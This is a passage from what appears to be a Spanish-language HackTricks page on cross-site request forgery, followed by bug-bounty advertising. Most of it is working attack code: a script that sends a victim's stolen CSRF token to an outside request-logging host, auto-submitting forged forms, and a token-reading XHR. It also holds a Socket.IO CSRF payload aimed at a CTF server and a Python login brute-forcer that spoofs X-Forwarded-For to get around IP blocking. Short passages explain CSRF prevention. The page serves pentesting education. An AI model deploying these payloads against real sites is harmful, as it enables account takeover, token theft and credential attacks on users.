token = frame1.document.getElementById("profile").token.value;
document.getElementById("bypass").token.value = token
loadframe2();
}
function loadframe2(){
var test = document.getElementbyId("frame2");
test.src = "http://requestb.in/1g6asbg1?token="+token;
}
</script>
<iframe id="frame1" name="frame1" src="http://google.com?param=VALUE" onload="readframe1()"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<iframe id="frame2" name="frame2"
sandbox="allow-same-origin allow-scripts allow-forms allow-popups allow-top-navigation"
height="600" width="800"></iframe>
<body onload="document.forms[0].submit()">
<form id="bypass" name"bypass" method="POST" target="frame2" action="http://google.com?param=VALUE" enctype="multipart/form-data">
<input type="text" name="username" value="z">
<input type="checkbox" name="status" checked="">
<input id="token" type="hidden" name="token" value="0000" />
<button type="submit">Submit</button>
</form>
POSTRobar token CSRF con Ajax y enviar un post con un formulario
En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario.
-
Primero, necesitamos obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería social o mediante la explotación de una vulnerabilidad en el sitio web objetivo.
-
Una vez que tenemos el token CSRF, podemos usar Ajax para enviar una solicitud POST al servidor objetivo. Aquí está el código de ejemplo:
var xhr = new XMLHttpRequest();
xhr.open("POST", "https://www.example.com/endpoint", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.setRequestHeader("X-CSRF-Token", "<TOKEN_CSRF>");
xhr.send("param1=value1¶m2=value2");
Asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
- También podemos enviar una solicitud POST utilizando un formulario oculto. Aquí está el código de ejemplo:
<form id="csrfForm" action="https://www.example.com/endpoint" method="POST">
<input type="hidden" name="param1" value="value1">
<input type="hidden" name="param2" value="value2">
<input type="hidden" name="X-CSRF-Token" value="<TOKEN_CSRF>">
</form>
<script>
document.getElementById("csrfForm").submit();
</script>
Al igual que antes, asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
Estas técnicas permiten a un atacante enviar solicitudes POST en nombre del usuario sin su conocimiento o consentimiento. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
<body onload="getData()">
<form id="form" action="http://google.com?param=VALUE" method="POST" enctype="multipart/form-data">
<input type="hidden" name="username" value="root"/>
<input type="hidden" name="status" value="on"/>
<input type="hidden" id="findtoken" name="token" value=""/>
<input type="submit" value="valider"/>
</form>
<script>
var x = new XMLHttpRequest();
function getData() {
x.withCredentials = true;
x.open("GET","http://google.com?param=VALUE",true);
x.send(null);
}
x.onreadystatechange = function() {
if (x.readyState == XMLHttpRequest.DONE) {
var token = x.responseText.match(/name="token" value="(.+)"/)[1];
document.getElementById("findtoken").value = token;
document.getElementById("form").submit();
}
}
</script>
CSRF con Socket.IO
Socket.IO es una biblioteca de JavaScript que permite la comunicación bidireccional en tiempo real entre el cliente y el servidor. Aunque Socket.IO proporciona una capa de seguridad incorporada, aún es posible que un atacante aproveche una vulnerabilidad de falsificación de solicitudes entre sitios (CSRF) para realizar acciones no deseadas en nombre del usuario.
¿Qué es CSRF?
La falsificación de solicitudes entre sitios (CSRF) es un tipo de ataque en el que un atacante engaña a un usuario para que realice una acción no deseada en un sitio web en el que el usuario está autenticado. Esto se logra engañando al usuario para que haga clic en un enlace o botón malicioso que realiza una solicitud HTTP en segundo plano sin su conocimiento.
CSRF con Socket.IO
Socket.IO utiliza cookies para mantener la sesión del usuario y autenticar las solicitudes entrantes. Sin embargo, las cookies no son suficientes para proteger contra ataques CSRF. Un atacante puede engañar a un usuario para que visite un sitio web malicioso que contiene código JavaScript que realiza solicitudes a un servidor Socket.IO legítimo en nombre del usuario autenticado.
Prevención de CSRF con Socket.IO
Para prevenir ataques CSRF en aplicaciones que utilizan Socket.IO, se recomienda implementar un mecanismo de protección CSRF. Esto puede lograrse mediante el uso de tokens CSRF.
Un token CSRF es un valor único generado por el servidor y asociado a la sesión del usuario. Este token se incluye en cada solicitud enviada al servidor y se verifica para garantizar que la solicitud sea legítima.
Al implementar tokens CSRF en Socket.IO, se puede garantizar que solo las solicitudes legítimas, que incluyen el token CSRF correcto, sean procesadas por el servidor. Cualquier solicitud que no incluya el token CSRF o incluya un token incorrecto será rechazada.
Conclusión
Aunque Socket.IO proporciona una capa de seguridad incorporada, es importante tener en cuenta la posibilidad de ataques CSRF al desarrollar aplicaciones que utilizan esta biblioteca. Implementar un mecanismo de protección CSRF, como el uso de tokens CSRF, puede ayudar a prevenir estos ataques y garantizar la seguridad de la aplicación.
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
<script>
let socket = io('http://six.jh2i.com:50022/test');
const username = 'admin'
socket.on('connect', () => {
console.log('connected!');
socket.emit('join', {
room: username
});
socket.emit('my_room_event', {
data: '!flag',
room: username
})
});
</script>
CSRF Ataque de Fuerza Bruta en el Inicio de Sesión
El código se puede utilizar para realizar un ataque de fuerza bruta en un formulario de inicio de sesión utilizando un token CSRF (también utiliza el encabezado X-Forwarded-For para intentar evadir un posible bloqueo de IP):
import request
import re
import random
URL = "http://10.10.10.191/admin/"
PROXY = { "http": "127.0.0.1:8080"}
SESSION_COOKIE_NAME = "BLUDIT-KEY"
USER = "fergus"
PASS_LIST="./words"
def init_session():
#Return CSRF + Session (cookie)
r = requests.get(URL)
csrf = re.search(r'input type="hidden" id="jstokenCSRF" name="tokenCSRF" value="([a-zA-Z0-9]*)"', r.text)
csrf = csrf.group(1)
session_cookie = r.cookies.get(SESSION_COOKIE_NAME)
return csrf, session_cookie
def login(user, password):
print(f"{user}:{password}")
csrf, cookie = init_session()
cookies = {SESSION_COOKIE_NAME: cookie}
data = {
"tokenCSRF": csrf,
"username": user,
"password": password,
"save": ""
}
headers = {
"X-Forwarded-For": f"{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}.{random.randint(1,256)}"
}
r = requests.post(URL, data=data, cookies=cookies, headers=headers, proxies=PROXY)
if "Username or password incorrect" in r.text:
return False
else:
print(f"FOUND {user} : {password}")
return True
with open(PASS_LIST, "r") as f:
for line in f:
login(USER, line.strip())
Herramientas
Referencias
- https://portswigger.net/web-security/csrf
- https://www.hahwul.com/2019/10/bypass-referer-check-logic-for-csrf.html
HackenProof es el hogar de todas las recompensas por errores de criptografía.
Obtén recompensas sin demoras
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
Obtén experiencia en pentesting web3
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
Conviértete en la leyenda del hacker web3
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
Regístrate en HackenProof ¡comienza a ganar con tus hacks!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- ¿Trabajas en una empresa de ciberseguridad? ¿Quieres ver tu empresa anunciada en HackTricks? ¿O quieres tener acceso a la última versión de PEASS o descargar HackTricks en PDF? ¡Consulta los PLANES DE SUSCRIPCIÓN!
- Descubre The PEASS Family, nuestra colección exclusiva de NFTs
- Obtén el swag oficial de PEASS y HackTricks
- Únete al 💬 grupo de Discord o al grupo de Telegram o sígueme en Twitter 🐦@carlospolopm.
- Comparte tus trucos de hacking enviando PR al repositorio de hacktricks y al repositorio de hacktricks-cloud.